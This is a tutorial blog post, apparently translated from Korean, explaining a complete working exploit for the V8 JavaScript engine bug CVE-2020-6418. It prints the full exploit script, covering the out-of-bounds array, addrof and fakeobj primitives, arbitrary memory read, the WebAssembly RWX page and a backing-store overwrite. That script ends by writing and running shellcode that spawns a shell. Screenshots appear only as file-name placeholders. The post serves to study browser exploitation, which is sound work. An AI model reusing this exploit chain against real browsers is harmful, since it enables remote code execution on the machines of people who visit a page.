I will explain how to exploit the remaining parts of the PoC that I explained last time.

This time, I referred to that blog again.
https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate




Exploit





The full source code is as follows.




/* ex.js */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

ITERATIONS = 100000;

let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined;  // array for OOB
let obj_arr = undefined;  // array of objects
let buf = undefined;  // ArrayBuffer for shellcode

a.pop();
a.pop();
a.pop();

let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

function empty() { }

function f(p) {
    a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319);  // itof(0xfffen)
    for (let i = 0; i < ITERATIONS; i++) { }
}

let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [0.1];
        obj_arr = [{}];
        buf = new ArrayBuffer(shellcode.length);
        return Object.prototype;
    }
});

function main(p) {
    f(p);
    for (let i = 0; i < ITERATIONS; i++) { }
}

for (let i = 0; i < ITERATIONS; i++) { empty(); }
main(empty);
main(empty);
main(p);

// get (compressed) address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[4]) & 0xffffffffn;
}

// generate fake object
function fakeobj(addr) {
    let obj_addr = ftoi(oob_arr[4]);
    obj_addr &= 0xffffffff00000000n;
    obj_addr |= addr;
    oob_arr[4] = itof(obj_addr);
    return obj_arr[0];
}

let float_arr_map = ftoi(oob_arr[1]) & 0xffffffffn;  // map of float array

// arbitrary address read
function aar(addr) {
    let elements = addr - 8n;  // elements pointer
    let length = 2n;  // length is 1
    let float_arr_struct = [0.1, 0.2];  // fake float array structure
    float_arr_struct[0] = itof(float_arr_map);
    float_arr_struct[1] = itof((length << 32n) | elements);
    let fake = fakeobj(addrof(float_arr_struct) - 0x10n);  // fake float array
    return ftoi(fake[0]);
}

// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n);  // address of rwx memory region

// overwrite backing store
let bs = ftoi(oob_arr[12]);
bs &= 0xffffffffn;
bs |= rwx << 32n;
oob_arr[12] = itof(bs);
bs = ftoi(oob_arr[13]);
bs &= 0xffffffff00000000n;
bs |= rwx >> 32n;
oob_arr[13] = itof(bs);

// execute shellcode
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);  // copy shellcode in rwx memory region
}
sh();  // execute




First, to briefly mention the previous content, change the Double array to Object in PoC through the root cause. I have confirmed that OOB occurs.
This is an exploit that takes advantage of that fact.

First, let’s explain the PoC contents.




let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [0.1];
        obj_arr = [{}];
        buf = new ArrayBuffer(shellcode.length);
        return Object.prototype;
    }
});




Originally, there was no part to declare a buffer in the PoC part, but a part to declare a buffer was added.
I will proceed with this part in mind.




// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n);  // address of rwx memory region




Prepare wasm bytecode through wasmcode, create wasmModule, and create wasmInstance with compilation information
v8 performs JIT compilation and allocates memory to contain the corresponding code. At this time, the allocated memory is the JIT area with rwx permission.

So, we can say that an instance must be created to create the rwx area.
Afterwards, you can see how the JIT compiled code is set up so that it can be used using sh() through exports.

You can see the part where 0x68 is added to wasmInstance right after that. The reason why the offset is 0x68 is
This is because it is known that in the v8 version, the JIT compiled code exists at position +0x68 based on wasmInstance.
This may differ depending on the v8 version, so it would be a good idea to analyze it yourself or look up the offset information for that version.

let rwx = aar(addrof(WasmInstance)+ 0x68n);

In this part, the addrof function is as follows:




// get (compressed) address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[4]) & 0xffffffffn;
}




To explain based on the current situation, an object called WasmInstance is entered, and the object is placed at obj_arr[0].
At this time, you can see that and operation is performed on oob_arr[4] and 0xffffffffn.
The reason for this behavior is because obj_arr[0] = oob_arr[4]. Let’s look at this part in the picture.




0.png




For analysis, let’s check by sending DebugPrint to the area where the vulnerability is triggered.




1.png




The photo is the oob_arr part.




1.png




The photo is part of object_arr.




1.png




At this time, the elments field of the oob_aar array is above the header part of the oob_arr array, so check the memory value starting from the elments_field part.

Based on the first line, the values ​​are map , length , oob_arr[0] and

Based on the second line, it becomes map, properties, elements, and length.

At this time, let’s look at the header part and elements field of the object_aar array.




1.png




The upper part is the elements field part of object_aar, and in that order, it is the map, length, and object_aar[0] parts, and

The bottom part is the header part of the object_aar array, and from the top it is map, properties, elements, and length.




1.png




If you look at the picture, it is the oob_aar field. Since oob_aar is a double type, it takes up 1 index per 8 bytes.
So, if you check the value of oob_aar[4], you can see that the elements_field of object_aar, that is, the value of obj[0], overlaps.

So obj_arr[0] = oob_arr[4].

At this time, if you perform an and operation between this value and 0xffffffff, the value & 00000000ffffffffn is actually calculated, which becomes the address value of the object. You can get it.

Briefly explain ftoi and itof that appear here.




let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}




They both point to the same buffer, and the difference is whether the buffer value is read in float type or int type.
Then you can proceed with the type conversion you want.

When you go through addrof(WasmInstance), the address value of WasmInstance is entered. At this time, 0x68 is added
It points to the area containing JIT code.

At this time, it moves on to the aar() function.




// arbitrary address read
function aar(addr) {
    let elements = addr - 8n;  // elements pointer
    let length = 2n;  // length is 1
    let float_arr_struct = [0.1, 0.2];  // fake float array structure
    float_arr_struct[0] = itof(float_arr_map);
    float_arr_struct[1] = itof((length << 32n) | elements);
    let fake = fakeobj(addrof(float_arr_struct) - 0x10n);  // fake float array
    return ftoi(fake[0]);
}




If you start with this part step by step, you can see that elements = addr -8n is done at first.
The reason for this will be explained using the value of the oob_aar array mentioned earlier as an example.




1.png




If you look at the second line, it says the order is map, properties, elements, and length.
So, if we are trying to retrieve the JIT address into an array, it must be located at the [0] index of the array.
You will be able to get that address using .

Next, set the length to 1 and create a float type array using float_arr_struct to create a fake array.
At this time, you can see that map is placed at position 0 of the array, and elements and length are placed at position 1, in that order.
After that, the fakeobj array is called, and at this time, the value 0x10 from the newly created float_arr_struct is called as an argument.




// generate fake object
function fakeobj(addr) {
    let obj_addr = ftoi(oob_arr[4]);
    obj_addr &= 0xffffffff00000000n;
    obj_addr |= addr;
    oob_arr[4] = itof(obj_addr);
    return obj_arr[0];
}




The first thing to keep in mind before calling this function is

` let fake = fakeobj(addrof(float_arr_struct) - 0x10n); `

Since we used addrof(float_arr_struct), remembering object_aar[0] = oob_aar[4] we checked earlier
If you look at the current addrof, oob_arr[4] and objecct_aar[0] values, the float_arr_struct value is included.

So at this time

` let obj_addr = ftoi(oob_arr[4]);`

Doing so is essentially the same as getting the address value of float_arr_struct.
At this time, you can see that the and operation is performed between the value of the address and 0xffffffff00000000n.
When this operation is performed, the upper address of the float_arr_struct object is retrieved, and the upper address and addr, that is, the value of float_arr_struct-0x10, are
Combine them using the or operation. Then, the float_arr_struct location will be shifted by 0x10.

For your understanding, I will add pictures to explain.

Let’s add DebugPrint to the source code.




1.png




1.png




this is float_aar_struct.




1.png




It’s fake.

If you look closely at the value pointed to by the elments pointer of float_arr_struct, it exists at position -0x8 of the float_arr_struct array.
Then, the map , length , and float_arr_struct[0] values ​​will be entered from that part.
So, 0x10 was subtracted from the float_arr_struct value.




1.png




It can be confusing when you look at the picture, but the red boxes are map, properties, elements, and length of the float_aar_struct array. The green box is the elements field part of the float_aar_struct array.
Lastly, the yellow box is the map and properties of the fake array.
elements , length .
So, to briefly explain, the float_aar_struct[1] field of the elements field of float_aar_struct is the elements pointer value of the fake array. It overlapped.
Then, if you read fake[0] of the fake array,

I saw it earlier

let elements = addr - 8n; // elements pointer part works Only when reading fake[0] after map and length can the addr value itself be read.

At the end

return ftoi(fake[0]); You can see that the reason for bringing the value of fake[0] is to bring in the rwx area, that is, the addr value.

Because of this

` let fake = fakeobj(addrof(float_arr_struct) - 0x10n);’ Subtract 0x10 from the part




1.png




In this part, the address value (addr-0x8) is entered into the fake’s elements pointer location.
Then, from the fake perspective, when bringing in the value of the array, fake(0) = address of the rwx area, which is the location after map and length at the elements pointer (addr(rwx)-0x8). You can now get the value.
Same explanation, but done twice.

Then, cover the backing store with the address of the rwx area brought in.




1.png




1.png




// overwrite backing store
let bs = ftoi(oob_arr[12]);
bs &= 0xffffffffn;
bs |= rwx << 32n;
oob_arr[12] = itof(bs);
bs = ftoi(oob_arr[13]);
bs &= 0xffffffff00000000n;
bs |= rwx >> 32n;
oob_arr[13] = itof(bs);




Let’s analyze this part to make it easier to understand.




1.png




Let’s debug before and after the change.




1.png




The photo is with oob_aar




1.png




buf (buffer). Please remember the buffer’s backing store.




1.png




If you look at the elements field of oob_aar like this, you can see that the backing store value of buf seen in the previous picture is located in oob_aar[12].

Then, store this value in bs and use ffffffffn and and operations to save only the object address value.
Afterwards, you can see that both the upper and lower bits of the address are replaced with the rwx value.

Simply put, the backing store value of buf has been changed to the rwx area, that is, the point where the JIT code is located.

Next, let’s check by checking the Debugprint.




1.png




Now, if we check the backing store pointer value of the buffer,




1.png




You can see that it has been changed to the starting point of the rwx area.




1.png




Now, finally, the previously declared let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

The shellcode part





// execute shellcode
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);  // copy shellcode in rwx memory region
}
sh();  // execute




Using DataView, write shellcode in the buf buffer pointing to the rwx area as the backing store.
Afterwards, when we run the JIT codes using the sh() function that was exported when writing the wasm part, we The shellcode written in the JIT area is executed.




1.png




시연영상